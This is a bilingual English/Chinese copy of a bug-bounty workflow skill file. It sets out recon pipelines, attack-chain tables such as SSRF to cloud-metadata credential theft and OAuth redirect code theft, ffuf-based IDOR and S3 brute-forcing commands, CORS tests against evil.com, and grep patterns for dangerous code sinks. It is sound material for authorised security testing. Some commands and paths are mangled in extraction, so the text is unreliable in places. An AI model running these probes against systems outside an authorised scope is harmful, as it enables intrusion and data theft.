bb-local-toolkit
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseBug Bounty Master Workflow
漏洞赏金主工作流
Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
完整流水线:Recon(侦察) -> Learn(学习) -> Hunt(挖掘) -> Validate(验证) -> Report(报告)。一个 skill 覆盖所有环节。
THE ONLY QUESTION THAT MATTERS
唯一重要的问题
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
“攻击者此刻是否能对一个未采取任何异常操作的真实用户实施此操作,并且会造成真实危害(窃取资金、泄露 PII、接管账户或执行代码)?”如果答案为否——停止。不要撰写报告。不要继续探索。转向下一目标。
Theoretical Bug = Wasted Time. Kill These Immediately:
理论漏洞 = 浪费时间。立即排除以下情况:
| Pattern | Kill Reason |
|---|---|
| "Could theoretically allow..." | Not exploitable = not a bug |
| "An attacker with X, Y, Z conditions could..." | Too many preconditions |
| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |
| Dead code with a bug in it | Not reachable = not a bug |
| Source maps without secrets | No impact |
| SSRF with DNS-only callback | Need data exfil or internal access |
| Open redirect alone | Need ATO or OAuth chain |
| "Could be used in a chain if..." | Build the chain first, THEN report |
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
| 模式 | 排除原因 |
|---|---|
| “理论上可能会允许……” | 无法利用就不是漏洞 |
| “攻击者在满足 X、Y、Z 条件后可能……” | 前置条件过多 |
| “实现方式错误,但没有实际影响” | 错误但无害,不是漏洞 |
| 含有漏洞的死代码 | 不可达,不是漏洞 |
| 不含密钥的 Source map | 没有影响 |
| 只有 DNS 回调的 SSRF | 需要证明数据外泄或内网访问 |
| 单独的开放重定向 | 需要形成 ATO 或 OAuth 漏洞链 |
| “如果……理论上可以用于组成漏洞链” | 先构建漏洞链,再提交报告 |
你必须证明实际危害。“可能”不是漏洞。证明它能够被利用,否则放弃。
CRITICAL RULES
关键规则
- READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
- NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
- KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
- Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
- One bug class at a time -- go deep, don't spray
- Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
- 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
- IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
- CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
- STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
- BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
- UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
- DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
- HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
- ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
- TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
- T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see.skills/bb-methodology/SKILL.md
- 首先阅读完整范围——确认每个资产或域名均归目标组织所有
- 不要提交理论漏洞——“攻击者此刻能否窃取资金、泄露 PII、接管账户或执行代码?”如果不能,停止。
- 快速排除薄弱发现——撰写任何报告前先执行 7-Question Gate
- 先验证再撰写——首先检查 CHANGELOG、设计文档和部署脚本
- 一次只处理一种漏洞类型——深入挖掘,不要四处撒网
- 验证数据是否已经公开——报告 API“泄露”前,先在无痕模式下检查 Web UI
- 5 分钟规则——如果探测目标 5 分钟后仍无任何结果(全部为 401/403/404),立即转向下一目标
- 以影响为优先进行挖掘——询问“如果认证被破坏,最坏的情况是什么?”如果没有什么有价值的目标,就跳过
- 凭据泄露需要利用证明——仅发现密钥并不足够,必须证明这些密钥能够访问什么
- 停止浅层侦察循环——不要反复探测 403,不要 grep 分析密钥,不要检查无实际价值的 staging 域名
- 业务影响高于漏洞类型——严重性取决于具体上下文,而不只是漏洞类型
- 深入理解目标——开始挖掘前,要像真实用户一样了解应用
- 不要过度依赖自动化——自动化扫描容易触发 WAF、造成速率限制,并且通常只能发现人人都能找到的漏洞
- 挖掘竞争较少的漏洞类型——XSS/SSRF/XXE 的竞争最激烈。应扩展到:缓存投毒、Android/移动端漏洞、业务逻辑、竞态条件、OAuth/OIDC 漏洞链、CI/CD 流水线攻击
- 1 小时规则——在同一目标上停留 1 小时仍无进展?切换上下文
- 双眼方法——将系统化测试(检查清单)与异常检测(观察意外行为)结合使用
- T 型知识结构——在一个领域深入,同时在其他所有领域保持广度
如需了解完整挖掘方法论——包括五阶段非线性工作流、开发者心理学框架、会话纪律、按阶段进行工具路由,以及 Wide/Deep 路径选择——请参阅。skills/bb-methodology/SKILL.md
A->B BUG SIGNAL METHOD (Cluster Hunting)
A->B 漏洞信号法(集群式挖掘)
When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
**发现漏洞 A 后,系统性地寻找附近的漏洞 B 和 C。**这是漏洞赏金领域最强大的方法之一。单个漏洞收益有限,漏洞链的收益可高出 3 到 10 倍。
Known A->B->C Chains
已知 A->B->C 漏洞链
| Bug A (Signal) | Hunt for Bug B | Escalate to C |
|---|---|---|
| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |
| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE |
| XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO |
| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO |
| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain |
| Rate limit bypass | OTP brute force | Account takeover |
| GraphQL introspection | Missing field-level auth | Mass PII exfil |
| Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access |
| CORS reflects origin | Test with credentials: include | Credentialed data theft |
| Host header injection | Password reset poisoning | ATO via reset link |
| 漏洞 A(信号) | 寻找漏洞 B | 升级为漏洞 C |
|---|---|---|
| IDOR(读取) | 对同一端点执行 PUT/DELETE | 完整操控账户数据 |
| SSRF(任意类型) | 云元数据 169.254.169.254 | IAM 凭据外泄 -> RCE |
| XSS(存储型) | 检查会话 Cookie 是否设置 HttpOnly | 会话劫持 -> ATO |
| 开放重定向 | OAuth redirect_uri 接受你的域名 | 授权码窃取 -> ATO |
| S3 Bucket 列表可读 | 枚举 JS bundle | Grep OAuth client_secret -> OAuth 漏洞链 |
| 速率限制绕过 | 暴力破解 OTP | 账户接管 |
| GraphQL introspection | 缺少字段级授权 | 大规模 PII 外泄 |
| Debug 端点 | 泄露环境变量 | 云凭据 -> 基础设施访问 |
| CORS 反射 Origin | 携带凭据测试:include | 凭据数据窃取 |
| Host Header 注入 | 密码重置投毒 | 通过重置链接实施 ATO |
Cluster Hunt Protocol (6 Steps)
集群式挖掘协议(6 个步骤)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.1. CONFIRM A 通过 HTTP 请求验证漏洞 A 确实存在
2. MAP SIBLINGS 找出同一 controller/module/API 组中的所有端点
3. TEST SIBLINGS 将相同漏洞模式应用到每个同类端点
4. CHAIN 如果同类端点属于不同漏洞类型,尝试组合 A + B
5. QUANTIFY “影响 N 个用户” / “暴露价值 $X 的资产” / “N 条记录”
6. REPORT 每条漏洞链提交一份报告,而不是每个漏洞各提交一份。漏洞链收益更高。Real Examples
真实案例
Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chainVienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impactCoinbase S3->Bundle->Secret->OAuth 漏洞链:
A: S3 bucket 可公开列出(单独来看为 Low)
B: JS bundle 中包含 OAuth client credentials
C: OAuth flow 缺少 PKCE 强制校验
结果: 完整的 auth code 截获漏洞链Vienna Chatbot 漏洞链:
A: 生产环境启用了 debug 参数(单独来看为 Info)
B: Chatbot 在响应中渲染 HTML(dangerouslySetInnerHTML)
C: 通过 bot response 实施存储型 XSS,其他用户可见
结果: 具有真实影响的 P2 发现TOP 1% HACKER MINDSET
TOP 1% 黑客思维
How Elite Hackers Think Differently
顶尖黑客有何不同
Average hunter: Runs tools, checks checklist, gives up after 30 min.
Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
普通猎手:运行工具、核对清单,30 分钟后放弃。
Top 1%:构建应用内部实现的心理模型,询问“它为什么会这样工作?”关注“是什么业务决策促使开发者采用这种实现,以及他们可能走了什么捷径?”而不只是“这个端点做什么?”
Pre-Hunt Mental Framework
狩猎前思维框架
Step 1: Crown Jewel Thinking
第 1 步:核心资产思维
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
- Financial app -> drain funds, transfer to attacker account
- Healthcare -> PII leak, HIPAA violation
- SaaS -> tenant data crossing, admin takeover
- Auth provider -> full SSO chain compromise
在接触任何内容之前,先问:“如果我是攻击者,并且只能对这个应用做一件事,什么操作会造成最大破坏?”
- 金融应用 -> 耗尽资金,将资金转入攻击者账户
- 医疗健康 -> PII 泄露、违反 HIPAA
- SaaS -> 跨租户数据访问、管理员接管
- 身份认证提供商 -> 完整的 SSO 链路失陷
Step 2: Developer Empathy
第 2 步:开发者同理心
Think like the developer who built the feature:
- What was the simplest implementation?
- What shortcut would a tired dev take at 2am?
- Where is auth checked -- controller? middleware? DB layer?
- What happens when you call endpoint B without going through endpoint A first?
像构建该功能的开发者一样思考:
- 最简单的实现方式是什么?
- 疲惫的开发者在凌晨两点可能采用什么捷径?
- 认证检查在哪里——controller、middleware 还是 DB 层?
- 如果不先调用端点 A,而直接调用端点 B,会发生什么?
Step 3: Trust Boundary Mapping
第 3 步:信任边界映射
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
应用在哪里停止信任输入?
应用在哪里假定输入已经过验证?Step 4: Feature Interaction Thinking
第 4 步:功能交互思维
- Does this new feature reuse old auth, or does it have its own?
- Does the mobile API share auth logic with the web app?
- Was this feature built by the same team or a third-party?
- 这个新功能会复用旧认证,还是拥有自己的认证机制?
- 移动端 API 是否与 Web 应用共享认证逻辑?
- 该功能由同一团队构建,还是由第三方构建?
The Top 1% Mental Checklist
Top 1% 思维检查清单
- I know the app's core business model
- I've used the app as a real user for 15+ minutes
- I know the tech stack (language, framework, auth system, caching)
- I've read at least 3 disclosed reports for this program
- I have 2 test accounts ready (attacker + victim)
- I've defined my primary target: ONE crown jewel I'm hunting for today
- 我了解应用的核心业务模式
- 我已像真实用户一样使用应用至少 15 分钟
- 我了解技术栈(语言、框架、认证系统、缓存)
- 我至少阅读了该计划的 3 份公开报告
- 我准备了两个测试账户(攻击者与受害者)
- 我已确定今天唯一要追踪的核心资产
Mindset Rules from Top Hunters
顶尖猎手的思维规则
"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
“追踪功能,而不是端点”——找出所有服务于同一功能的端点,然后测试它们之间的交互。
“授权不一致是你的朋友”——如果应用在 9 个位置检查了认证,却漏掉第 10 个,那就是你的漏洞。
“新功能 == 未经审查”——最近 30 天发布的功能通常安全成熟度最低。
“思考二阶影响”——二阶 SSRF:URL 保存在 DB 中,之后由 cron job 获取。二阶 XSS:存储时内容干净,但在管理面板中以不安全方式渲染。
“追踪资金流”——任何涉及支付、计费、额度、退款的功能,都是开发者最容易采用安全捷径的地方。
“移动应用使用的 API”——移动应用经常调用更旧或不同的 API 版本。它们属于同一家公司,但攻击面不同,安全成熟度更低。
“通过差异发现漏洞”——比较旧 API 文档与新文档。比较移动端 API 与 Web API。比较免费用户可以发起什么请求,以及付费用户会收到什么响应。
TOOLS
工具
Go Binaries
Go Binaries
| Tool | Use |
|---|---|
| subfinder | Passive subdomain enum |
| httpx | Probe live hosts |
| dnsx | DNS resolution |
| nuclei | Template scanner |
| katana | Crawl |
| waybackurls | Archive URLs |
| gau | Known URLs |
| dalfox | XSS scanner |
| ffuf | Fuzzer |
| anew | Dedup append |
| qsreplace | Replace param values |
| assetfinder | Subdomain enum |
| gf | Grep patterns (xss, sqli, ssrf, redirect) |
| interactsh-client | OOB callbacks |
| 工具 | 用途 |
|---|---|
| subfinder | 被动子域名枚举 |
| httpx | 探测存活主机 |
| dnsx | DNS 解析 |
| nuclei | 模板扫描 |
| katana | 爬取 |
| waybackurls | 归档 URL |
| gau | 已知 URL |
| dalfox | XSS 扫描器 |
| ffuf | Fuzzer |
| anew | 去重后追加 |
| qsreplace | 替换参数值 |
| assetfinder | 子域名枚举 |
| gf | Grep 模式(xss、sqli、ssrf、redirect) |
| interactsh-client | OOB 回调 |
Tools to Install When Needed
需要时安装的工具
| Tool | Use | Install |
|---|---|---|
| arjun | Hidden parameter discovery | |
| paramspider | URL parameter mining | |
| kiterunner | API endpoint brute | |
| cloudenum | Cloud asset enumeration | |
| trufflehog | Secret scanning | |
| gitleaks | Secret scanning | |
| XSStrike | Advanced XSS scanner | |
| SecretFinder | JS secret extraction | |
| sqlmap | SQL injection | |
| subzy | Subdomain takeover | |
| 工具 | 用途 | 安装方式 |
|---|---|---|
| arjun | 隐藏参数发现 | |
| paramspider | URL 参数挖掘 | |
| kiterunner | API 端点暴力枚举 | |
| cloudenum | 云资产枚举 | |
| trufflehog | Secret 扫描 | |
| gitleaks | Secret 扫描 | |
| XSStrike | 高级 XSS 扫描器 | |
| SecretFinder | JS secret 提取 | |
| sqlmap | SQL 注入 | |
| subzy | 子域名接管 | |
Static Analysis (Semgrep Quick Audit)
静态分析(Semgrep 快速审计)
bash
undefinedbash
undefinedInstall: pip3 install semgrep
Install: pip3 install semgrep
Broad security audit
Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
Language-specific rulesets
Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
Targeted rules
Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
Custom pattern (example: find SQL concat in Python)
Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
Output to file for analysis
Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
undefinedsemgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
undefinedFFUF Advanced Techniques
FFUF 高级技巧
bash
undefinedbash
undefinedTHE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
seq 1 10000 | ffuf --request req.txt -w - -ac
Authenticated API endpoint brute
Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
Parameter discovery
Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
Hidden POST parameters
Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
Subdomain scan
Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
ffuf -w subs.txt -u https://FUZZ.target.com -ac
Filter strategies:
Filter strategies:
-fc 404,403 Filter status codes
-fc 404,403 Filter status codes
-fs 1234 Filter by response size
-fs 1234 Filter by response size
-fw 50 Filter by word count
-fw 50 Filter by word count
-fr "not found" Filter regex in response body
-fr "not found" Filter regex in response body
-rate 5 -t 10 Rate limit + fewer threads for stealth
-rate 5 -t 10 Rate limit + fewer threads for stealth
-e .php,.bak,.old Add extensions
-e .php,.bak,.old Add extensions
-o results.json Save output
-o results.json Save output
undefinedundefinedAI-Assisted Tools
AI 辅助工具
- strix (usestrix.com) -- open-source AI scanner for automated initial sweep
- strix(usestrix.com)——用于自动化初始扫描的开源 AI 扫描器
PHASE 1: RECON
PHASE 1:RECON(侦察)
Standard Recon Pipeline
标准侦察流水线
bash
undefinedbash
undefinedStep 1: Subdomains
Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
Step 2: Resolve + live hosts
Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
Step 3: URL collection
Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
Step 4: Nuclei scan
Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
Step 5: JS secrets
Step 5: JS secrets
cat /tmp/urls.txt | grep ".js$" | sort -u > /tmp/jsfiles.txt
cat /tmp/urls.txt | grep ".js$" | sort -u > /tmp/jsfiles.txt
Run SecretFinder on each JS file
Run SecretFinder on each JS file
Step 6: GitHub dorking (if target has public repos)
Step 6: GitHub dorking (if target has public repos)
GitDorker -org TARGET_ORG -d dorks/alldorksv3
GitDorker -org TARGET_ORG -d dorks/alldorksv3
undefinedundefinedCloud Asset Enumeration
云资产枚举
bash
undefinedbash
undefinedManual S3 brute
Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
undefinedfor suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
undefinedAPI Endpoint Discovery
API 端点发现
bash
undefinedbash
undefinedffuf API endpoint brute
ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
undefinedffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
undefinedHackerOne Scope Retrieval
获取 HackerOne 范围
bash
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'bash
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'Quick Wins Checklist
快速获胜检查清单
- Subdomain takeover (,
subjack)subzy - Exposed (
.git)/.git/config - Exposed env files (,
/.env)/.env.local - Default credentials on admin panels
- JS secrets (SecretFinder, jsluice)
- Open redirects (,
?redirect=,?next=)?url= - CORS misconfig (test + credentials)
Origin: https://evil.com - S3/cloud buckets
- GraphQL introspection enabled
- Spring actuators (,
/actuator/env)/actuator/heapdump - Firebase open read ()
https://TARGET.firebaseio.com/.json
- 子域名接管(、
subjack)subzy - 暴露的 (
.git)/.git/config - 暴露的环境变量文件(、
/.env)/.env.local - 管理面板使用默认凭据
- JS secret(SecretFinder、jsluice)
- 开放重定向(、
?redirect=、?next=)?url= - CORS 配置错误(测试 并携带凭据)
Origin: https://evil.com - S3/云 Bucket
- 启用 GraphQL introspection
- Spring actuator(、
/actuator/env)/actuator/heapdump - Firebase 开放读取()
https://TARGET.firebaseio.com/.json
Technology Fingerprinting
技术栈指纹识别
| Signal | Technology |
|---|---|
Cookie: | Laravel |
Cookie: | PHP |
Header: | Node.js/Express |
Response: | WordPress |
Response: | GraphQL |
Header: | Next.js |
| 信号 | 技术 |
|---|---|
Cookie: | Laravel |
Cookie: | PHP |
Header: | Node.js/Express |
Response: | WordPress |
Response: | GraphQL |
Header: | Next.js |
Framework Quick Wins
框架快速获胜路径
Laravel: , , ,
WordPress: , ,
Node.js: , (introspection),
AWS Cognito: (leaks Pool ID), CORS reflects arbitrary origins
/horizon/telescope/.env/storage/logs/laravel.log/wp-json/wp/v2/users/xmlrpc.php/?author=1/.env/graphql/_debug/oauth2/userInfoLaravel:、、、
WordPress:、、
Node.js:、(introspection)、
AWS Cognito:(泄露 Pool ID)、CORS 反射任意 Origin
/horizon/telescope/.env/storage/logs/laravel.log/wp-json/wp/v2/users/xmlrpc.php/?author=1/.env/graphql/_debug/oauth2/userInfoSource Code Recon
源代码侦察
bash
undefinedbash
undefinedSecurity surface
Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security|fix|CVE"
git log --oneline --all --grep="security|CVE|fix|vuln" | head -20
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security|fix|CVE"
git log --oneline --all --grep="security|CVE|fix|vuln" | head -20
Dev breadcrumbs
Dev breadcrumbs
grep -rn "TODO|FIXME|HACK|UNSAFE" --include=".ts" --include=".js" | grep -iv "test|spec"
grep -rn "TODO|FIXME|HACK|UNSAFE" --include=".ts" --include=".js" | grep -iv "test|spec"
Dangerous patterns (JS/TS)
Dangerous patterns (JS/TS)
grep -rn "eval(|innerHTML|dangerouslySetInner|execSync" --include=".ts" --include=".js" | grep -v node_modules
grep -rn "===.token|===.secret|===.hash" --include=".ts" --include=".js"
grep -rn "fetch(|axios." --include=".ts" | grep "req.|params.|query."
grep -rn "eval(|innerHTML|dangerouslySetInner|execSync" --include=".ts" --include=".js" | grep -v node_modules
grep -rn "===.token|===.secret|===.hash" --include=".ts" --include=".js"
grep -rn "fetch(|axios." --include=".ts" | grep "req.|params.|query."
Dangerous patterns (Solidity)
Dangerous patterns (Solidity)
grep -rn "tx.origin|delegatecall|selfdestruct|block.timestamp" --include="*.sol"
undefinedgrep -rn "tx.origin|delegatecall|selfdestruct|block.timestamp" --include="*.sol"
undefinedLanguage-Specific Grep Patterns
按语言划分的 Grep 模式
bash
undefinedbash
undefinedJavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "proto|constructor[" --include=".js" --include=".ts" | grep -v node_modules
grep -rn "postMessage|addEventListener.message" --include=".js" | grep -v node_modules
grep -rn "child_process|execSync|spawn(" --include="*.js" | grep -v node_modules
grep -rn "proto|constructor[" --include=".js" --include=".ts" | grep -v node_modules
grep -rn "postMessage|addEventListener.message" --include=".js" | grep -v node_modules
grep -rn "child_process|execSync|spawn(" --include="*.js" | grep -v node_modules
Python -- pickle, yaml.load, eval, shell injection
Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle.loads|yaml.load|eval(" --include=".py" | grep -v test
grep -rn "subprocess|os.system|os.popen" --include=".py" | grep -v test
grep -rn "import|exec(" --include="*.py"
grep -rn "pickle.loads|yaml.load|eval(" --include=".py" | grep -v test
grep -rn "subprocess|os.system|os.popen" --include=".py" | grep -v test
grep -rn "import|exec(" --include="*.py"
PHP -- type juggling, unserialize, LFI
PHP -- type juggling, unserialize, LFI
grep -rn "unserialize|eval(|preg_replace.e" --include=".php"
grep -rn "==.*password|==.token|==.hash" --include=".php"
grep -rn "$_GET|$_POST|$_REQUEST" --include=".php" | grep "include|require|file_get"
grep -rn "unserialize|eval(|preg_replace.e" --include=".php"
grep -rn "==.*password|==.token|==.hash" --include=".php"
grep -rn "$_GET|$_POST|$_REQUEST" --include=".php" | grep "include|require|file_get"
Go -- template.HTML, race conditions
Go -- template.HTML, race conditions
grep -rn "template.HTML|template.JS|template.URL" --include=".go"
grep -rn "go func|sync.Mutex|atomic." --include=".go"
grep -rn "template.HTML|template.JS|template.URL" --include=".go"
grep -rn "go func|sync.Mutex|atomic." --include=".go"
Ruby -- YAML.load, mass assignment
Ruby -- YAML.load, mass assignment
grep -rn "YAML.load[^_]|Marshal.load|eval(" --include=".rb"
grep -rn "attr_accessible|permit(" --include=".rb"
grep -rn "YAML.load[^_]|Marshal.load|eval(" --include=".rb"
grep -rn "attr_accessible|permit(" --include=".rb"
Rust -- panic on network input, unsafe blocks
Rust -- panic on network input, unsafe blocks
grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize"
grep -rn "unsafe {" --include=".rs" -B5 | grep "read|recv|parse|decode"
grep -rn "as u8|as u16|as u32|as usize" --include="*.rs" | grep -v "checked|saturating|wrapping"
---grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize"
grep -rn "unsafe {" --include=".rs" -B5 | grep "read|recv|parse|decode"
grep -rn "as u8|as u16|as u32|as usize" --include="*.rs" | grep -v "checked|saturating|wrapping"
---PHASE 2: LEARN (Pre-Hunt Intelligence)
PHASE 2:LEARN(狩猎前情报)
Read Disclosed Reports
阅读公开报告
bash
undefinedbash
undefinedBy program on HackerOne
By program on HackerOne
curl -s "https://hackerone.com/graphql"
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
undefinedcurl -s "https://hackerone.com/graphql"
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
undefined"What Changed" Method
